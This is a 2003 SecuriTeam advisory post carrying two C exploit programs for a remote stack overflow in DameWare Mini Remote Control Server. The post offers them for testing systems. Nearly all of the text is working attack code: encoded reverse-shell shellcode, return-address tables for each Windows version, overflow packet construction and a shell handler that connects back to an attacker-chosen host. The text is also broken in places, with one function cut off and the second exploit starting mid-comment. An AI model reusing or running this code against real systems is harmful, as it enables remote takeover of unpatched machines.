

[EXPL] DameWare Mini Remote Control Server Overflow Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0070.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/22/03

To: list@securiteam.com

Date: 22 Dec 2003 11:58:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

DameWare Mini Remote Control Server Overflow Exploit

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/6N00B1P95I.html>> DameWare Mini Remote Control Buffer Overflow, a vulnerability in DameWare Mini Remote allows remote attackers to cause the program to overflow an internal buffer, allowing remote attackers to execute arbitrary code. The following two exploit codes can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit #1:

```
/*  
*  
* DameWare Remote Control Server Stack Overflow Exploit  
*  
* Discovered by: wirepair  
* Exploit by: Adik [ netmaniac (at) hotmail.KG ]  
*  
* Vulnerable Versions: <= 3.72.0.0
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

- * Tested on: 3.72.0.0 Win2k SP3 & WinXp SP3
- * Payload: Reverse Connect Shellcode, exits gracefully
- * doesn't terminate remote process.
- *
- * [16/Dec/2003] Bishkek

*****/

```
#include <stdio.h>
#include <string.h>
#include <winsock.h>
//#include "netmaniac.h"
#pragma comment(lib,"ws2_32")
#define ACCEPT_TIMEOUT 10
#define RECVTIMEOUT 15
```

```
#define ID_UNKNOWN 0
#define ID_WIN2K 1
#define ID_WINXP 2
#define ID_WIN2K3 3
#define ID_WINNT 4
#define VER "0.5"
//#include "dmware.rc"
```

*****/

```
unsigned char send_buff[40] = {
0x30, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC3, 0xF5, 0x28, 0x5C, 0x8F, 0xC2, 0x0D, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
};
```

```
unsigned char kyrgyz_rshell[] = { //418
0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5,
0x83, 0xC0, 0x11, 0x33,
0xC9, 0x66, 0xB9, 0xa2, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
0xDD, 0x03, 0x64, 0x03, 0x7C, 0xEE, 0x09, 0x64, 0x08, 0x88, 0x60, 0xAE,
0x89, 0x88, 0x88, 0x01,
0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xA3,
0x89, 0x88, 0x88, 0x01,
0xCE, 0x64, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7,
0xDC, 0x77, 0xDE, 0x64,
0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60,
0x82, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x56, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60,
0x72, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x52, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60,
0x62, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x5E, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60,
0x52, 0x88, 0x88, 0x88,
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60,
0x42, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x64, 0x71, 0x22, 0xE8, 0x60,
0x32, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60,
0x22, 0x88, 0x88, 0x88,
0x01, 0xCE, 0x6A, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC,
0xE0, 0x89, 0x89, 0x88,
0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8,
0x77, 0xDE, 0x78, 0x03,
0x50, 0xE0, 0x48, 0x20, 0xB7, 0x89, 0xE0, 0x8A, 0x88, 0xAA, 0x99, 0x03,
0x44, 0xE2, 0x98, 0xD9,
0xDB, 0x77, 0xDE, 0x60, 0x0D, 0x48, 0xFD, 0xD2, 0xE0, 0xEB, 0xE5, 0xEC,
0x88, 0x01, 0xEE, 0x5A,
0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49,
0x9D, 0x23, 0x6A, 0x75,
0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x76, 0xCC, 0xAC,
0xB6, 0x01, 0xD4, 0xAC,
0xC0, 0x01, 0xD4, 0xAC, 0xC4, 0x01, 0xD4, 0xAC, 0xD8, 0x05, 0xCC, 0xAC,
0x98, 0xDC, 0xD8, 0xD9,
0xD9, 0xD9, 0x4E, 0xCC, 0xAC, 0x8B, 0x80, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9,
0x77, 0xFE, 0x5A, 0xD9,
0x77, 0xDE, 0x52, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x56,
0x03, 0x40, 0xDB, 0x77,
0xDE, 0x6A, 0x77, 0xDE, 0x5E, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88,
0x03, 0xC8, 0x84, 0x03,
0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD,
0xDE, 0xDF, 0x03, 0xE4,
0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03,
0xC2, 0x90, 0x03, 0xD2,
0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB,
0x77, 0x74, 0xBB, 0x48,
0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A,
0xB3, 0xF4, 0xAC, 0x9C,
0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03,
0xD2, 0x94, 0x8B, 0x55,
0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7,
0xD6, 0xD5, 0xD3, 0x4A,
0x8C, 0x88
};
```

```
/*
long gimmeip(char *hostname);
void cmdshell (int sock);
int check_os(char *host,unsigned short target_port, unsigned int *sp);

struct timeval tv;
fd_set fds;
char recv_buff1[5000]="";
/*-----( os jmp esp offsets
)-----*/
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
struct sp_levels
{
  unsigned long eip;
  char library[20];
};
/*****-[ offsets grabbed from www.metasploit.com
]-*****/
struct
{
  //int sp;
  //unsigned long eip;
  char os_type[10];
  struct sp_levels sp[7];

} target_os[]=
{
  {
    "UNKNOWN",{{0,""},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}}
  },
  {
    "WIN 2000",
    {{ 0x750362c3,"ws2_32.dll" },{ 0x75035173,"ws2_32.dll" },{
0x7503431b,"ws2_32.dll" },
    { 0x77db912b,"advapi32.dll" },{ 0x7c372063,"advapi32.dll" },{ 0,"" },{
0,"" } }
  },
  {
    "WIN XP",
    { { 0x71ab7bfb,"ws2_32.dll" },{ 0x71ab7bfb,"ws2_32.dll" },{ 0,"" },
    { 0,"" },{ 0,"" },{ 0,"" },{ 0,"" } } //2 sp on winxp
  },
  {
    "WIN 2003",

    {{0x77db565c,"advapi32.dll"},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}//SP 0??
  },
  {
    "WIN NT4",
    { // only SP3 + SP 6 r filled in
    { 0x77777777,"unknown.dll" },{ 0x77777776,"unknown.dll" },{
0x77777775,"unknown.dll" },
    { 0x77f326c6,"kernel32.dll" },{ 0x77777773,"unknown.dll" },{
0x77777772,"unknown.dll" },
    { 0x77f32836,"kernel32.dll" }
    }//6 SP
  }
};
/*****/
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
int main(int argc,char *argv[])
{
    WSADATA wsaData;
    struct sockaddr_in targetTCP, localTCP, inAccTCP;
    int sockTCP,s,localSockTCP,accSockTCP, acsz,switchon;
    unsigned char send_packet[4135]="";
    unsigned short local_port, target_port;
    unsigned long local_ip, target_ip;
    unsigned int os_sp=0;
    int os_ver=0;
    printf("\n\t...oO DameWare Remote Control Server Overflow Exploit
Oo...\n\n"
"\t\t-( by Adik netmaniac[at]hotmail.KG )-\n\n");
    printf(" - Versions vulnerable: <= DW RCS 3.72.0.0\n");
    printf(" - Tested on: DW RCS ver: 3.72.0.0 Win2k SP3 & WinXP SP1\n\n");
    if(argc < 4)
    {

printf(" Usage: %s <TargetIP> <TargetPort> <YourIp> <YourPort>\n"
" eg: %s 10.0.0.1 6129 10.0.0.2 21\n\n",argv[0],argv[0]);
return 1;
}

WSAStartup(0x0202, &wsaData);
target_port = atoi(argv[2]);

local_port = htons((unsigned short)atoi(argv[4]));
local_ip = inet_addr(argv[3]);
local_port ^= 0x8888;
local_ip ^= 0x88888888;

*(unsigned long *)&kyrgyz_rshell[194+27] = local_ip;
*(unsigned short *)&kyrgyz_rshell[201+27] = local_port;

printf( "[*] Target IP:\t%s \tPort: %s\n"
"[*] Local IP:\t%s \tListening Port:
%s\n\n",argv[1],argv[2],argv[3],argv[4]);

target_ip=gimmeip(argv[1]);
memset(&targetTCP, 0, sizeof(targetTCP));
memset(&localTCP, 0, sizeof(localTCP));

targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = target_ip;
targetTCP.sin_port = htons(target_port);

localTCP.sin_family = AF_INET;
localTCP.sin_addr.s_addr = INADDR_ANY;
localTCP.sin_port = htons((unsigned short)atoi(argv[4]));

printf("[*] Initializing sockets...");
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\t\t\t[ FAILED ]\n Socket1 not initialized! Exiting...\n");
WSACleanup();
return 1;
}
if ((localSockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\t\t\t[ FAILED ]\n Socket2 not initialized! Exiting...\n");
WSACleanup();
return 1;
}
printf("\t\t\t[ OK ]\n");

printf("[*] Binding to local port: %s...",argv[4]);

if(bind(localSockTCP,(struct sockaddr *)&localTCP,sizeof(localTCP)) !=0)
{
printf("\t\t\t[ FAILED ]\n Failed binding to port: %s!
Exiting...\n",argv[4]);
WSACleanup();
return 1;
}

printf("\t\t\t[ OK ]\n");
printf("[*] Setting up a listener...");
if(listen(localSockTCP,1) != 0)
{
printf("\t\t\t[ FAILED ]\nFailed to listen on port: %s!
Exiting...\n",argv[4]);
WSACleanup();
return 1;
}
printf("\t\t\t[ OK ]\n");
os_ver = check_os(argv[1],(unsigned short)atoi(argv[2]),&os_sp);

printf(" EIP: 0x%x
(%s)\n\n",target_os[os_ver].sp[os_sp].eip,target_os[os_ver].sp[os_sp].library);
printf("[*] Constructing packet for %s SP:
%d...",target_os[os_ver].os_type,os_sp);
memcpy(send_packet,"\x10\x27",2);
//memcpy(send_packet+500,"neTmaNiac",strlen("netmaniac"));
memset(send_packet+0xc4+9,0x90,700);

*(unsigned long*)&send_packet[516] = target_os[os_ver].sp[os_sp].eip;

memcpy(send_packet+520,kyrgyz_rshell,strlen(kyrgyz_rshell));
memcpy(send_packet+0x3d0,"neTmaNiac",9);
memcpy(send_packet+0x5b4+0x24,"netmaniac was here",18);
memcpy(send_packet+0x5b4+0x128,"12/12/04 13:13:13",17);
memcpy(send_packet+0x5b4+0x538,"netninjaz_place",15);
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
memcpy(send_packet+0x5b4+0x5b4+0x88,"131.131.131.131",16);
memcpy(send_packet+0x5b4+0x5b4+0x394,"3.72.0.0",strlen("3.72.0.0"));

printf("\t[ OK ]\n");

printf("[*] Connecting to %s:%s...",argv[1],argv[2]);

if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) !=
0)
{
printf("\n[x] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);
}
printf("\t[ OK ]\n");

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVMTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(1,&fds,0,0,&tv))>0)
{
recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
}
else
{
printf("[x] Timeout! Failed to recv packet.\n");
exit(1);
}

//DumpMemory(recv_buff1,50);
memset(recv_buff1,0,sizeof(recv_buff1));

switchon=0;
ioctlsocket(sockTCP,FIONBIO,&switchon);

if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();
return 1;
}

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVMTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
FD_SET(sockTCP,&fds);

if((select(sockTCP+1,&fds,0,0,&tv))>0)
{
recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
switchon=0;
ioctlsocket(sockTCP,FIONBIO,&switchon);
if (send(sockTCP, send_packet, sizeof(send_packet),0) == -1)
{
printf("[x] Failed to inject packet2! Exiting...\n");
WSACleanup();
return 1;
}
}
else
{
printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
WSACleanup();
return 1;
}

printf("[*] Packet injected!\n");
closesocket(sockTCP);
printf("[*] Waiting for incoming connection...\r");

switchon=1;
ioctlsocket(localSockTCP,FIONBIO,&switchon);
tv.tv_sec = ACCEPT_TIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(localSockTCP,&fds);

if((select(1,&fds,0,0,&tv))>0)
{
acsz = sizeof(inAccTCP);
accSockTCP = accept(localSockTCP,(struct sockaddr *)&inAccTCP, &acsz);
printf("[*] Connection request accepted: %s:%d\n",
inet_ntoa(inAccTCP.sin_addr), (int)ntohs(inAccTCP.sin_port));
printf("[*] Dropping to shell...\n\n");
cmdshell(accSockTCP);
}
else
{
printf("\n[x] Exploit appears to have failed!\n");
WSACleanup();
}

return 0;
}
/*****/
int check_os(char *host,unsigned short target_port, unsigned int *sp)
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
{
int sockTCP,switchon;
struct sockaddr_in targetTCP;
struct timeval tv;
fd_set fds;

memset(&targetTCP,0,sizeof(targetTCP));
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = inet_addr(host);
targetTCP.sin_port = htons(target_port);

if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\t\t\t[ FAILED ]\n Socket1 not initialized! Exiting...\n");
WSACleanup();
return 1;
}

if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) !=
0)
{
printf("[x] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);
}

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVMTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(1,&fds,0,0,&tv))>0)
{
recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
}
else
{
printf("[x] Timeout! Doesn't appear to b a DMWRCS\n");
exit(1);
}

switchon=0;
ioctlsocket(sockTCP,FIONBIO,&switchon);

if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();
return 1;
}
```

```

}

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(sockTCP+1,&fds,0,0,&tv))>0)
{
recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
closesocket(sockTCP);
}
else
{
printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
WSACleanup();
return 1;
}

printf("\n OS Info : ");
if(recv_buff1[8]==5 && recv_buff1[12]==0)
{
printf("WIN2000 [ver 5.0.%d]\n SP String : %-1.20s\n\n",*(unsigned short
*)&recv_buff1[16],&recv_buff1[24]);
*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WIN2K;
}
else if(recv_buff1[8]==5 && recv_buff1[12]==1)
{
printf("WINXP [ver 5.1.%d]\n SP String : %-1.20s\n\n",*(unsigned short
*)&recv_buff1[16],&recv_buff1[24]);
*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WINXP;
}
else if(recv_buff1[8]==5 && recv_buff1[12]==2)
{
printf("WIN2003 [ver 5.2.%d]\n SP String : %-1.20s\n\n",*(unsigned short
*)&recv_buff1[16],&recv_buff1[24]);
*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WIN2K3;
}
else if(recv_buff1[8]==4)
{
printf("WINNT4\n SP String : %-1.20s\n\n",&recv_buff1[24]);
*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
}

```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
return ID_WINNT;
}
else
{
printf("UNKNOWN\n");
closesocket(sockTCP);
return ID_UNKNOWN;
}

}
/*****/
long gimmeip(char *hostname)
{
struct hostent *he;
long ipaddr;

if ((ipaddr = inet_addr(hostname)) < 0)
{
if ((he = gethostbyname(hostname)) == NULL)
{
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/*****/
void cmdshell (int sock)
{
struct timeval tv;
int length;
unsigned long o[2];
char buffer[1000];

tv.tv_sec = 1;
tv.tv_usec = 0;

while (1)
{
o[0] = 1;
o[1] = sock;

length = select (0, (fd_set *)&o, NULL, NULL, &tv);
if(length == 1)
{
length = recv (sock, buffer, sizeof (buffer), 0);
if (length <= 0)
{
printf ("[x] Connection closed.\n");

```


Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
/* or sp1, so I don't know why it's different and I haven't XP at home I
can't find */
/* another better EIP for XP (hope this 2 offsets will be enough). */
/* greetz: MrNice,AnAc,TripaX & Decryptus for helping me to find the EIP
values. */
/*.....*/
/* informations: kralor[at]coromputer.net,www.coromputer.net,irc undernet
#coromputer */
/*****/

#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment (lib,"ws2_32")

/*
0x717564B8 jmp esp in comctl32.dll
win2k fr adv srv sp2
win2k en adv srv sp3
win2k en adv srv sp4
win2k en srv sp3
win2k fr pro sp3
win2k en pro sp4

// jmp esp @ 0x77E7898B | win2k fr adv srv sp 1
// jmp esp @ 0x717564B8 | Win2k fr adv srv sp2 & Win2k en srv sp3 & Win2k
en adv srv sp4 & win2k fr pro sp3
// jmp esp @ 0x7751A3AB | Win2k fr adv srv sp2 Win2k fr adv srv sp3 &
Win2k fr pro sp3

/*
#define RET_WIN2K_SP0 0x717564B8
#define RET_WIN2K_SP1 0x717564B8
#define RET_WIN2K_SP2 0x717564B8
#define RET_WIN2K_SP3 0x717564B8
#define RET_WIN2K_SP4 0x717564B8
#define RET_WINXP_SP0 0x7776FE1F
#define RET_WINXP_SP1 0x7776FE1F
*/

#define RET "\xB8\x64\x75\x71"
#define RET_XP "\x07\xD5\x36\x77"
// or #define RET_XP "\xC1\x1C\x35\x77" // this offset has been reported
by many people

#define PORT 6129
#define SIZEOF 4096
#define WINUSER "h4x0r"
#define WINHOST "l33t_home"
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
#define USERPROFILE_NAME "script kiddie"
#define USERPROFILE_COMPANY "g33k solutions."
#define USERPROFILE_LICENSE "11111-OEM-00011111-11111"
#define USERPROFILE_DATE "12/24/03 00:00:00"
#define INTERFACE_IP "192.168.1.1,192.168.1.2"
#define WINDOMAIN "I33t_d0m41n"
#define CLIENT_VERSION "3.72.0.0"
```

```
/*
void print_packet(char *buffer, int begin, int end)
{
    int i,j;
    char ascii[9];

    for(i=begin,j=0;i<end;i++,j++) {
        if(i%10==0) {
            printf("\r\n%04d: ",i);
            j=0;
            memset(ascii,0,sizeof(ascii));
        }
        printf("0x%02x ",(unsigned char)buffer[i]);
        if(i%10==9) {
            ascii[10]=0x00;
            printf("%s",ascii);
        }
        if(!isprint(buffer[i]))
            ascii[j]='.';
        else
            ascii[j]=buffer[i];
        }
    printf("%s\r\n",ascii);
    return;
}
*/
```

```
int cnx(char *host)
{
    int sock;
    struct sockaddr_in yeah;
    struct hostent *she;

    sock=socket(AF_INET,SOCK_STREAM,0);
    if(!sock) {
        printf("error: unable to create socket\r\n");
        return 0;
    }
    yeah.sin_family=AF_INET;
    yeah.sin_addr.s_addr=inet_addr(host);
    yeah.sin_port=htons(PORT);
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
if((she=gethostbyname(host))!=NULL) {
  memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
} else {
  if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
    printf("error: cannot resolve host\r\n");
    return 0;
  }
}
printf("[+] Connecting to %-30s ...",host);
if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
  printf("error: connection refused\r\n");
  return 0;
}
printf("Done\r\n");
return sock;
}
```

```
void set_sc(int os, int sp, char *rhost, int rport, char *shellcode)
```

```
{
  unsigned int ip=0;
  unsigned short port=0;
  char *port_to_shell="",*ip1="";

  ip = inet_addr(rhost); ip1 = (char*)&ip;
  shellcode[325]=ip1[0]^0x95;shellcode[326]=ip1[1]^0x95;
  shellcode[327]=ip1[2]^0x95; shellcode[328]=ip1[3]^0x95;
```

```
port = htons(rport);
port_to_shell = (char *) &port;
shellcode[319]=port_to_shell[0]^0x95;
shellcode[320]=port_to_shell[1]^0x95;
```

```
switch(os)
{
case 0: // win2k
/*
  switch(sp)
  {
  case 0:
    *(long*)&shellcode[0]=RET_WIN2K_SP0;
    break;
  case 1:
    *(long*)&shellcode[0]=RET_WIN2K_SP1;
    break;
  case 2:
    *(long*)&shellcode[0]=RET_WIN2K_SP2;
    break;
  case 3:
    *(long*)&shellcode[0]=RET_WIN2K_SP3;
    break;
  case 4:
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
*(long*)&shellcode[0]=RET_WIN2K_SP4;
break;
}
*/
break;
case 1: // winXP
shellcode[167]=shellcode[215]=(unsigned char)0xfe;
shellcode[345]=shellcode[453]=(unsigned char)0xfe;
/*
switch(sp)
{
case 0:
*(long*)&shellcode[0]=RET_WINXP_SP0;
break;
case 1:
*(long*)&shellcode[0]=RET_WINXP_SP1;
break;
}
*/
break;
}
return;
}

int start_auth(int sock, char *rhost, int rport)
{
int size,i=4,os,sp;
char buffer[SIZEOF];
char shellcode[] =
"\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef"
"\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xba\x01\x80\x33\x95"
"\x43\xe2\xfa\x7e\xfa\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e"
"\xdd\x99\x1e\x54\x1e\xc9\xb1\xd\x1e\xe5\xa5\x96\xe1\xb1\x91\xad"
"\x8b\xe0\xdd\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d"
"\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96"
"\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3"
"\xae\xe1\xb1\x8d\xe1\x93\xde\xb6\x4e\xe0\x7f\x56\xca\xa6\x5c\xf3"
"\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e\x8d\x1e\x56\xae"
"\x54\xe0\x34\x56\x16\x79\xd5\x1e\x79\x14\x79\xb5\x97\x95\x95\xfd"
"\xec\xd0\xed\xd4\xff\x9f\xff\xde\xff\x95\x7d\xe3\x6a\x6a\x6a\xa6"
"\x5c\x52\xd0\x69\xe2\xe6\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8"
"\x97\x1e\x48\xf3\x16\x7e\x91\xc4\xc4\xc6\x6a\x45\x1c\xd0\x91\xfd"
"\xe7\xf0\xe6\xe6\xff\x9f\xff\xde\xff\x95\x7d\xd3\x6a\x6a\x6a\x1e"
"\xc8\x91\x1c\xc8\x12\x1c\xd0\x02\x52\xd0\x69\xc2\xc6\xd4\xc6\x52"
"\xd0\x95\xfa\xf6\xfe\xf0\x52\xd0\x91\xe1\xd4\x95\x95\x1e\x58\xf3"
"\x16\x7c\x91\xc4\xc6\x6a\x45\xa6\x4e\xc6\xc6\xc6\xc6\xff\x94\xff"
"\x97\x6a\x45\x1c\xd0\x31\x52\xd0\x69\xf6\xfa\xfb\xfb\x52\xd0\x95"
"\xf0\xf6\xe1\x95\x1e\x58\xf3\x16\x7c\x91\xc4\x6a\xe0\x12\x6a\xc0"
"\x02\xa6\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97\x97"
"\x0f\x96\x46\x52\x97\x55\x3d\x94\x94\xff\x85\xc0\x6a\xe0\x31\x6a"
"\x45\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xff\x95\x7d\x51\x6b\x6a"
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
"\x6a\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d"  
"\x1c\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52"  
"\xd0\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xd8\x31\x1c"  
"\xd8\x71\x1c\xd8\x7d\x1c\xd8\x79\x18\xd8\x65\xc4\x18\xd8\x39\xc4"  
"\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52\xd0"  
"\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xfd\xed\xfc"  
"\xe1\xc1\xff\x94\xff\xde\xff\x95\x7d\xcd\x6b\x6a\x6a\x6a";
```

```
size=recv(sock,buffer,SIZEOF,0);  
if(buffer[0]!=0x30||buffer[1]!=0x11) {  
printf("error: wrong data received\r\n");  
return -1;  
}  
buffer[28]=0x00;buffer[36]=0x01;  
send(sock,buffer,size,0);  
memset(buffer,0,SIZEOF);  
printf("[+] Gathering %-30s ...","information");  
for(size=0;size<4096;size+=recv(sock,&buffer[size],SIZEOF,0));
```

```
if(buffer[0]!=0x10||buffer[1]!=0x27) {  
printf("error: wrong data received\r\n");  
return -1;  
}  
printf("Done\r\n");  
sp=(unsigned int)buffer[37];  
printf("[i] Operating system : ");  
if(buffer[16]==0x28||buffer[17]==0x0a) {  
os=1;  
printf("WinXP");  
} else {  
printf("Win2000");  
os=0;  
}  
printf("\r\n[i] Service Pack : %s\r\n",&buffer[37]);  
printf("[+] Setting shellcode for this %-15s ...","version");  
set_sc(os,sp,rhost,rport,shellcode);
```

```
memset(&buffer[2],0,SIZEOF-2);  
strcpy(&buffer[175],WINUSER);  
memset(&buffer[416],0x90,180);  
if(os==0)  
memcpy(&buffer[516],RET,4);  
else  
memcpy(&buffer[516],RET_XP,4);  
memcpy(&buffer[520],shellcode,sizeof(shellcode));  
strcpy(&buffer[1200],WINHOST);strcpy(&buffer[975],USERPROFILE_NAME);
```

```
strcpy(&buffer[1295],USERPROFILE_COMPANY);strcpy(&buffer[1495],USERPROFILE_LICENSE);  
strcpy(&buffer[1755],USERPROFILE_DATE);strcpy(&buffer[2015],WINHOST);  
strcpy(&buffer[2275],INTERFACE_IP);strcpy(&buffer[2535],WINDOMAIN);  
strcpy(&buffer[2795],CLIENT_VERSION);
```

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

```
printf("Done\r\n");
printf("[+] Sending evil %-30s ...", "packet");
send(sock,buffer,SIZEOF,0);
memset(buffer,0,SIZEOF);
size=recv(sock,buffer,SIZEOF,0);

if(buffer[0]!=0x32||buffer[1]!=0x11) {
printf("Patched\r\n");
return -1;
}
printf("Done\r\n");
printf("[i] Shell should be arrived at %s:%d\r\n",rhost,rport);
return 0;
}

void banner(void)
{
printf("\r\n [Crpt] DameWare Mini Remote Control < v3.73 remote exploit
by kralor [Crpt]\r\n");
printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
return;
}

